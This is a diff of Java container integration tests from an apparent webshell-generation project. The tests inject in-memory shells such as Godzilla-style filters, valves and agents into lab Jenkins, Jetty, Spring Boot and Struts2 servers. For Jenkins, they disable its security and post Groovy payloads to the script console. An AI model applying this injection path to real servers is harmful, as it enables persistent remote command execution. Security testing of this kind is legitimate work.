||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import okhttp3.FormBody;
|
||||||
|
import okhttp3.OkHttpClient;
|
||||||
|
import okhttp3.Request;
|
||||||
|
import okhttp3.RequestBody;
|
||||||
|
import okhttp3.Response;
|
||||||
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
import org.testcontainers.utility.MountableFile;
|
||||||
|
|
||||||
|
import java.nio.file.Path;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Locale;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
import static org.hamcrest.CoreMatchers.anyOf;
|
||||||
|
import static org.hamcrest.CoreMatchers.containsString;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/7
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
public class JenkinsJetty12ee9ContainerTest extends AbstractContainerTest {
|
||||||
|
private static final ContainerTestConfig CONFIG = ContainerTestConfig
|
||||||
|
.builder()
|
||||||
|
.imageName("jenkins/jenkins:2.492.1")
|
||||||
|
.env(Map.of("JAVA_OPTS", "-Djenkins.install.runSetupWizard=false"))
|
||||||
|
.server(Server.Jetty)
|
||||||
|
.jakarta(true)
|
||||||
|
.serverVersion("12")
|
||||||
|
.targetJdkVersion(Opcodes.V17)
|
||||||
|
.contextPath("")
|
||||||
|
.healthCheckPath("/login")
|
||||||
|
.assertLogs(false)
|
||||||
|
.waitStrategy(Wait.forHttp("/login").forPort(8080))
|
||||||
|
.supportedShellTypes(List.of(
|
||||||
|
ShellType.JAKARTA_SERVLET,
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JAKARTA_HANDLER
|
||||||
|
))
|
||||||
|
.probeShellTypes(List.of(
|
||||||
|
ShellType.JAKARTA_SERVLET,
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JAKARTA_HANDLER
|
||||||
|
))
|
||||||
|
.testPackers(List.of(Packers.Groovy))
|
||||||
|
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||||
|
.enableJspPackerTest(false)
|
||||||
|
.build();
|
||||||
|
|
||||||
|
private static final MountableFile DISABLE_SECURITY_SCRIPT = MountableFile.forHostPath(
|
||||||
|
Path.of("script", "disable-security.groovy").toAbsolutePath());
|
||||||
|
private static final OkHttpClient HTTP_CLIENT = new OkHttpClient();
|
||||||
|
|
||||||
|
static Network network = newNetwork();
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> container = buildContainer(CONFIG, network)
|
||||||
|
.withCopyToContainer(DISABLE_SECURITY_SCRIPT, "/var/jenkins_home/init.groovy.d/disable-security.groovy");
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected ContainerTestConfig getConfig() {
|
||||||
|
return CONFIG;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void runShellInject(ContainerTestConfig config, String shellType, String shellTool, Packers packer) {
|
||||||
|
String url = getUrl();
|
||||||
|
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
|
||||||
|
String shellUrl = urls.getLeft().replace("/test", "/scriptText");
|
||||||
|
String urlPattern = urls.getRight();
|
||||||
|
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
|
||||||
|
MemShellResult generateResult = ShellAssertion.generate(urlPattern, config.getServer(), config.getServerVersion(),
|
||||||
|
shellType, shellTool, config.getTargetJdkVersion(), shellToolConfig, packer);
|
||||||
|
String payload = packer.getInstance().pack(generateResult.toClassPackerConfig());
|
||||||
|
|
||||||
|
injectByScriptText(url, payload);
|
||||||
|
ShellAssertion.assertShellIsOk(generateResult, shellUrl, shellTool, shellType, getContainer(), getPythonContainer());
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void runProbeInject(ContainerTestConfig config, String shellType) {
|
||||||
|
String url = getUrl();
|
||||||
|
String shellTool = ShellTool.Command;
|
||||||
|
Packers packer = Packers.Groovy;
|
||||||
|
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
|
||||||
|
String shellUrl = urls.getLeft().replace("/test", "/scriptText");
|
||||||
|
String urlPattern = urls.getRight();
|
||||||
|
if (urlPattern != null) {
|
||||||
|
shellUrl += "testProbe";
|
||||||
|
urlPattern += "testProbe";
|
||||||
|
}
|
||||||
|
int probeTargetJdkVersion = config.getProbeTargetJdkVersion() == null
|
||||||
|
? config.getTargetJdkVersion()
|
||||||
|
: config.getProbeTargetJdkVersion();
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(config.getServer())
|
||||||
|
.serverVersion(config.getServerVersion())
|
||||||
|
.shellType(shellType)
|
||||||
|
.shellTool(shellTool)
|
||||||
|
.targetJreVersion(probeTargetJdkVersion)
|
||||||
|
.debug(false)
|
||||||
|
.probe(true)
|
||||||
|
.build();
|
||||||
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
|
.urlPattern(urlPattern)
|
||||||
|
.staticInitialize(true)
|
||||||
|
.build();
|
||||||
|
String paramName = "tomcatProbe" + shellType;
|
||||||
|
CommandConfig commandConfig = CommandConfig.builder()
|
||||||
|
.paramName(paramName)
|
||||||
|
.build();
|
||||||
|
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
|
||||||
|
String payload = packer.getInstance().pack(generateResult.toClassPackerConfig());
|
||||||
|
|
||||||
|
String res = injectByScriptText(url, payload);
|
||||||
|
assertThat(res, anyOf(
|
||||||
|
containsString("context: "),
|
||||||
|
containsString("server: "),
|
||||||
|
containsString("channel: "),
|
||||||
|
containsString("namespace: ")
|
||||||
|
));
|
||||||
|
ShellAssertion.commandIsOk(shellUrl, shellType, paramName, "id");
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private String injectByScriptText(String url, String payload) {
|
||||||
|
RequestBody requestBody = new FormBody.Builder()
|
||||||
|
.add("script", payload)
|
||||||
|
.build();
|
||||||
|
Request request = new Request.Builder()
|
||||||
|
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||||
|
.url(url + "/scriptText")
|
||||||
|
.post(requestBody)
|
||||||
|
.build();
|
||||||
|
try (Response response = HTTP_CLIENT.newCall(request).execute()) {
|
||||||
|
String body = response.body().string();
|
||||||
|
assertTrue(response.isSuccessful(), "Jenkins scriptText should return 2xx, body: " + body);
|
||||||
|
assertTrue(isScriptTextResponseOk(body), "Jenkins scriptText should not return a Groovy error, body: " + body);
|
||||||
|
return body;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean isScriptTextResponseOk(String body) {
|
||||||
|
String normalizedBody = body.toLowerCase(Locale.ROOT);
|
||||||
|
return !normalizedBody.contains("groovy.lang.missing")
|
||||||
|
&& !normalizedBody.contains("groovy.lang.groovyruntimeexception")
|
||||||
|
&& !normalizedBody.contains("org.codehaus.groovy.control.multiplecompilationerrorsexception")
|
||||||
|
&& !normalizedBody.contains("script1.groovy")
|
||||||
|
&& !normalizedBody.contains("exception");
|
||||||
|
}
|
||||||
|
}
|
||||||
+53
@@ -0,0 +1,53 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.jetty;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/7
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
public class Jetty71ContainerTest extends AbstractContainerTest {
|
||||||
|
private static final ContainerTestConfig CONFIG = ContainerTestConfig
|
||||||
|
.jetty("reajason/jetty:7.1.6-jdk6")
|
||||||
|
.warDeployPath("/usr/local/jetty/webapps/app.war")
|
||||||
|
.serverVersion("7+")
|
||||||
|
.targetJdkVersion(Opcodes.V1_6)
|
||||||
|
.supportedShellTypes(List.of(
|
||||||
|
ShellType.SERVLET,
|
||||||
|
ShellType.FILTER,
|
||||||
|
ShellType.LISTENER,
|
||||||
|
ShellType.HANDLER,
|
||||||
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
|
))
|
||||||
|
.testPackers(List.of(Packers.JSP))
|
||||||
|
.probeShellTypes(List.of(
|
||||||
|
ShellType.SERVLET,
|
||||||
|
ShellType.FILTER,
|
||||||
|
ShellType.LISTENER,
|
||||||
|
ShellType.HANDLER
|
||||||
|
))
|
||||||
|
.build();
|
||||||
|
|
||||||
|
static Network network = newNetwork();
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected ContainerTestConfig getConfig() {
|
||||||
|
return CONFIG;
|
||||||
|
}
|
||||||
|
}
|
||||||
+90
@@ -0,0 +1,90 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
public class SpringBoot359ContainerTest extends AbstractContainerTest {
|
||||||
|
private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
|
||||||
|
.imageName("eclipse-temurin:17.0.17_10-jdk")
|
||||||
|
.jarFile(ContainerTool.springBoot359JarFile)
|
||||||
|
.jakarta(true)
|
||||||
|
.jarDeployPath("/app/app.jar")
|
||||||
|
.command("java -jar /app/app.jar")
|
||||||
|
.server(Server.SpringWebMvc)
|
||||||
|
.pidScript(ContainerTool.springbootPid)
|
||||||
|
.targetJdkVersion(Opcodes.V17)
|
||||||
|
.enableJspPackerTest(false)
|
||||||
|
.contextPath("")
|
||||||
|
.healthCheckPath("/test")
|
||||||
|
.supportedShellTypes(List.of(
|
||||||
|
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
|
||||||
|
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
|
||||||
|
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
|
||||||
|
))
|
||||||
|
.testPackers(List.of(Packers.H2))
|
||||||
|
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||||
|
.probeShellTypes(List.of(
|
||||||
|
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
|
||||||
|
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER
|
||||||
|
))
|
||||||
|
.build();
|
||||||
|
|
||||||
|
private static final ContainerTestConfig TOMCAT_CONFIG = ContainerTestConfig.builder()
|
||||||
|
.imageName("springboot3")
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.targetJdkVersion(Opcodes.V17)
|
||||||
|
.supportedShellTypes(List.of(
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
// ShellType.LISTENER,
|
||||||
|
ShellType.JAKARTA_VALVE,
|
||||||
|
ShellType.JAKARTA_WEBSOCKET,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
|
))
|
||||||
|
.testPackers(List.of(Packers.H2))
|
||||||
|
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||||
|
.build();
|
||||||
|
|
||||||
|
static Network network = newNetwork();
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||||
|
|
||||||
|
static Stream<Arguments> tomcatCasesProvider() {
|
||||||
|
return generateTestCases(TOMCAT_CONFIG);
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("tomcatCasesProvider")
|
||||||
|
void testTomcat(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
|
runShellInject(TOMCAT_CONFIG, shellType, shellTool, packer);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected ContainerTestConfig getConfig() {
|
||||||
|
return CONFIG;
|
||||||
|
}
|
||||||
|
}
|
||||||
+71
@@ -0,0 +1,71 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
|
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
@Slf4j
|
||||||
|
public class SpringBoot359ExpressionContainerTest {
|
||||||
|
public static final String imageName = "springboot3";
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>("eclipse-temurin:17.0.17_10-jdk")
|
||||||
|
.withCopyFileToContainer(springBoot359JarFile, "/app/app.jar")
|
||||||
|
.withCommand("java -jar /app/app.jar")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
|
||||||
|
.waitingFor(Wait.forHttp("/test"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
|
|
||||||
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
String host = container.getHost();
|
||||||
|
int port = container.getMappedPort(8080);
|
||||||
|
String url = "http://" + host + ":" + port;
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
|
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
return Stream.of(
|
||||||
|
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
|
||||||
|
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
|
||||||
|
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}-expression|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
|
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container);
|
||||||
|
}
|
||||||
|
}
|
||||||
-2
@@ -1,7 +1,6 @@
|
|||||||
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
import com.reajason.javaweb.Server;
|
||||||
import com.reajason.javaweb.integration.ContainerTool;
|
|
||||||
import com.reajason.javaweb.integration.ShellAssertion;
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
@@ -14,7 +13,6 @@ import org.junit.jupiter.params.provider.Arguments;
|
|||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
|||||||
+4
-4
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.integration.memshell.struct2;
|
package com.reajason.javaweb.integration.memshell.struts2;
|
||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
import com.reajason.javaweb.Server;
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
@@ -19,11 +19,11 @@ import java.util.List;
|
|||||||
* @since 2024/12/4
|
* @since 2024/12/4
|
||||||
*/
|
*/
|
||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Struct2ContainerTest extends AbstractContainerTest {
|
public class Struts2ContainerTest extends AbstractContainerTest {
|
||||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
|
private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
|
||||||
.imageName("tomcat:8-jre8")
|
.imageName("tomcat:8-jre8")
|
||||||
.server(Server.Struct2)
|
.server(Server.Struts2)
|
||||||
.warFile(ContainerTool.struct2WarFile)
|
.warFile(ContainerTool.struts2WarFile)
|
||||||
.warDeployPath("/usr/local/tomcat/webapps/app.war")
|
.warDeployPath("/usr/local/tomcat/webapps/app.war")
|
||||||
.pidScript(ContainerTool.tomcatPid)
|
.pidScript(ContainerTool.tomcatPid)
|
||||||
.enableJspPackerTest(false)
|
.enableJspPackerTest(false)
|
||||||
+35
@@ -0,0 +1,35 @@
|
|||||||
|
package com.reajason.javaweb.integration.probe.jetty;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
|
||||||
|
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/7
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
public class Jetty71ContainerTest extends AbstractProbeContainerTest {
|
||||||
|
|
||||||
|
private static final ProbeTestConfig CONFIG = ProbeTestConfig
|
||||||
|
.jettyOld("reajason/jetty:7.1.6-jdk6", "/usr/local/jetty/webapps/app.war")
|
||||||
|
.expectedJdkVersion("JDK|1.6.0_45|50")
|
||||||
|
.targetJdkVersion(Opcodes.V1_6)
|
||||||
|
.build();
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> container = buildContainer(CONFIG);
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected ProbeTestConfig getConfig() {
|
||||||
|
return CONFIG;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected GenericContainer<?> getContainer() {
|
||||||
|
return container;
|
||||||
|
}
|
||||||
|
}
|
||||||
+6
-6
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.integration.probe.struct2;
|
package com.reajason.javaweb.integration.probe.struts2;
|
||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
import com.reajason.javaweb.Server;
|
||||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||||
@@ -11,17 +11,17 @@ import org.testcontainers.containers.GenericContainer;
|
|||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.struct2WarFile;
|
import static com.reajason.javaweb.integration.ContainerTool.struts2WarFile;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/4
|
* @since 2024/12/4
|
||||||
*/
|
*/
|
||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Struct2ContainerTest extends AbstractProbeContainerTest {
|
public class Struts2ContainerTest extends AbstractProbeContainerTest {
|
||||||
|
|
||||||
private static final ProbeTestConfig CONFIG = ProbeTestConfig.tomcat("tomcat:8-jre8")
|
private static final ProbeTestConfig CONFIG = ProbeTestConfig.tomcat("tomcat:8-jre8")
|
||||||
.warFile(struct2WarFile)
|
.warFile(struts2WarFile)
|
||||||
.expectedJdkVersion("JRE|1.8.0_402|52")
|
.expectedJdkVersion("JRE|1.8.0_402|52")
|
||||||
.targetJdkVersion(Opcodes.V1_8)
|
.targetJdkVersion(Opcodes.V1_8)
|
||||||
.supportsBytecode(false)
|
.supportsBytecode(false)
|
||||||
@@ -47,7 +47,7 @@ public class Struct2ContainerTest extends AbstractProbeContainerTest {
|
|||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
protected void testCommandReqHeaderResponseBody() {
|
protected void testCommandReqHeaderResponseBody() {
|
||||||
String url = getUrl();
|
String url = getUrl();
|
||||||
ProbeAssertion.responseCommandIsOk(url, Server.Struct2, Opcodes.V1_8);
|
ProbeAssertion.responseCommandIsOk(url, Server.Struts2, Opcodes.V1_8);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@@ -55,6 +55,6 @@ public class Struct2ContainerTest extends AbstractProbeContainerTest {
|
|||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
protected void testScriptEngineReqHeaderResponseBody() {
|
protected void testScriptEngineReqHeaderResponseBody() {
|
||||||
String url = getUrl();
|
String url = getUrl();
|
||||||
ProbeAssertion.responseScriptEngineIsOk(url, Server.Struct2, Opcodes.V1_8);
|
ProbeAssertion.responseScriptEngineIsOk(url, Server.Struts2, Opcodes.V1_8);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+1
-1
@@ -18,7 +18,7 @@ import java.time.Duration;
|
|||||||
public class OpenLiberty25ContainerTest extends AbstractProbeContainerTest {
|
public class OpenLiberty25ContainerTest extends AbstractProbeContainerTest {
|
||||||
|
|
||||||
private static final ProbeTestConfig CONFIG = ProbeTestConfig.openLiberty("open-liberty:25.0.0.12-full-java17-openj9")
|
private static final ProbeTestConfig CONFIG = ProbeTestConfig.openLiberty("open-liberty:25.0.0.12-full-java17-openj9")
|
||||||
.expectedJdkVersion("JRE|17.0.18|61")
|
.expectedJdkVersion("JRE|17.0.19|61")
|
||||||
.targetJdkVersion(Opcodes.V1_8)
|
.targetJdkVersion(Opcodes.V1_8)
|
||||||
.waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
.waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
||||||
.privilegedMode(true)
|
.privilegedMode(true)
|
||||||
|
|||||||
@@ -0,0 +1,718 @@
|
|||||||
|
# Generated At 2026-05-24 05:21:22
|
||||||
|
SystemProps:
|
||||||
|
java.specification.version: 17
|
||||||
|
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar
|
||||||
|
bes.useNaming: true
|
||||||
|
sun.jnu.encoding: UTF-8
|
||||||
|
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,jakarta.mail,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,besmq-ra,bes-webapp-compressor,derbyclient,bes-ejb-glue,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,org.apache.commons.commons-beanutils,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,bes-connector-runtime,org.apache.commons.commons-codec,bes-ee-loader,org.codehaus.woodstox.woodstox-core-asl,org.apache.commons.commons-collections4,bes-config-remote-adapter,bes-descriptor,bes-server-internal,bes-logger,bes-webtier-util,bes-webtier-coyote,bes-webtier-jsp-api,bes-ee-integration,bes-engine,bootstrap,bes-jdbc-fastcp,bes-patch,commons-codec,org.apache.bval-core,jakartaee-api-endorsed,org.mozilla.rhino,bes-launcher,bes-server-api,org.apache.bval-jsr,xmpcore-,bes-server-jee-accessors,commons-beanutils,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.objectweb.howl.howl,bes-webtier-servlet-api,besmq-mgmt,org.apache.xbean.xbean-naming,bes-server-loader,jakartaee,org.apache.commons.commons-cli,org.apache.geronimo.specs.geronimo-osgi-locator,bes-distributed-session-core,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,bes-gmssl-adapter,org.apache.commons.commons-pool2,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,commons-dbcp,commons-io,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,bes-monitor,derby,commons-logging,bes-server-ejbd,bes-deployment-common,bes-config-parser,metadata-extractor,org.metatype.sxc.sxc-runtime,bes-logger-adapter,org.hsqldb.hsqldb,commons-collections,bes-jmx-remote,bes-cli-command,bes-command-api,bes-connector-transaction,org.eclipse.jdt.ecj,commons-digester,bes-server-core,bes-api,activation,commons-fileupload,org.apache.openwebbeans.openwebbeans-el22,besmq-client,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,com.sun.xml.bind.jaxb,org.apache.openwebbeans.openwebbeans-impl,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,org.apache.openwebbeans.openwebbeans-spi,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,besmq-common,bes-websocket-api,org.apache.xbean.xbean-asm5-shaded,ant,commons-httpclient,jakarta.